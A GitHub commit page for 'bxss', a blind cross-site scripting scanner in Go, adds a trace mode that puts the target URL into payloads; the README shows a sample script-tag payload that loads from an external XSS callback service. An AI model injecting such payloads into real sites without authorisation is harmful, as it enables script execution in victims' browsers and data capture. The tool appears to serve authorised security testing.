Skip to content

Commit cee9be2

Browse files
feature: added in experimental trace mode
1 parent f6e6361 commit cee9be2

File tree

5 files changed

+22
-1
lines changed

5 files changed

+22
-1
lines changed

README.md

+8
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,7 @@ go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest
5858
| `-v` | Enable debug mode | `false` |
5959
| `-rl float` | Rate limit (requests per second) | `0` |
6060
| `-f` | Follow redirects | `false` |
61+
| `-l` | Enable Trace Mode (experimental) | `false` |
6162
---
6263

6364
## 🎬 Demonstration
@@ -69,6 +70,13 @@ go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest
6970

7071
---
7172

73+
## 📝 What is Trace mode?
74+
Trace mode is an experimental feature that allows you to track where the BlindXSS got triggered, some third party BlindXSS platforms such as (https://xss.report/)[https://xss.report/] allows you to specify custom parameters in you're payloads, this allows you to track where the BlindXSS got triggered, for example if you specify the parameter `url=https://somehost.com` in your payload, the tool will use the payload `'"><script src=https://xss.report/c/username?url=https://somehost.com></script>` this for testing and upon a trigger you will be able to inspect the DOM and see what host the BlindXSS got triggered from.
75+
76+
<img src="https://github.com/ethicalhackingplayground/bxss/blob/master/static/xss.report.png" width="200px" alt="Xss Report">
77+
78+
Make sure when assigning custom parameters in you're dashboard that you assign `url={LINK}` so bxss can automatically replace `{LINK}` with the actual URL.
79+
7280
## 🔥 Usage Examples
7381

7482
### Parameters

static/xss.report.png

117 KB
Loading

v2/pkg/arguments/arguments.go

+4
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@ type Arguments struct {
2020
Debug bool
2121
RateLimit float64
2222
FollowRedirects bool
23+
Trace bool
2324
}
2425

2526
// Flag variables
@@ -35,6 +36,7 @@ var (
3536
parameters bool
3637
rateLimit float64
3738
followRedirects bool
39+
trace bool
3840
)
3941

4042
// ValidateArgs validates the arguments passed to the program and prints the
@@ -78,6 +80,7 @@ func NewArguments() *Arguments {
7880
flag.BoolVar(&debug, "v", false, "Enable debug mode to view full request details and debug information")
7981
flag.Float64Var(&rateLimit, "rl", 0, "Rate limit in requests per second (optional to prevent abuse)")
8082
flag.BoolVar(&followRedirects, "f", false, "Follow redirects when testing (optional)")
83+
flag.BoolVar(&trace, "l", false, "Enable trace mode to track which host is vulnerable to XSS, if your canary server support custom parameters, insert url={LINK}")
8184

8285
// Parse the arguments
8386
flag.Parse()
@@ -94,5 +97,6 @@ func NewArguments() *Arguments {
9497
Debug: debug,
9598
RateLimit: rateLimit,
9699
FollowRedirects: followRedirects,
100+
Trace: trace,
97101
}
98102
}

v2/pkg/payloads/payloads.go

+1
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,7 @@ func (p *PayloadParser) ProcessPayloadsAndHeaders(limiter *rate.Limiter, link st
6565
Method: p.args.Method,
6666
FollowRedirects: p.args.FollowRedirects,
6767
Debug: p.args.Debug,
68+
Trace: p.args.Trace,
6869
}
6970
newScanner := scan.NewScanner(limiter, config)
7071
link = p.EnsureProtocol(link)

v2/pkg/scan/scan.go

+9-1
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@ type ScannerConfig struct {
2828
FollowRedirects bool
2929
Limiter *rate.Limiter
3030
Debug bool
31+
Trace bool
3132
}
3233

3334
type Scanner struct {
@@ -65,10 +66,16 @@ func (s *Scanner) Scan(url string, payload string, header string) {
6566
}
6667
time.Sleep(500 * time.Microsecond)
6768
fmt.Println("")
69+
6870
if header != "" {
6971
fmt.Printf(colours.InfoColor, "Using Header: "+header)
7072
}
71-
if payload != "" {
73+
if s.Config.Trace {
74+
payload = strings.Replace(payload, "{LINK}", url, 1)
75+
fmt.Printf(colours.InfoColor, "**Using Trace Mode**"+"")
76+
fmt.Printf(colours.InfoColor, "New Payload:"+payload)
77+
fmt.Printf("\n")
78+
} else {
7279
fmt.Printf(colours.InfoColor, "Using Payload: "+payload)
7380
fmt.Printf("\n")
7481
}
@@ -120,6 +127,7 @@ func (s *Scanner) MakeRequest(method string, payload string, link string, header
120127
fmt.Printf(colours.NoticeColor, "Parameter: "+param)
121128
qs.Set(param, payload)
122129
}
130+
123131
}
124132
u.RawQuery = qs.Encode()
125133
}

0 commit comments

Comments
 (0)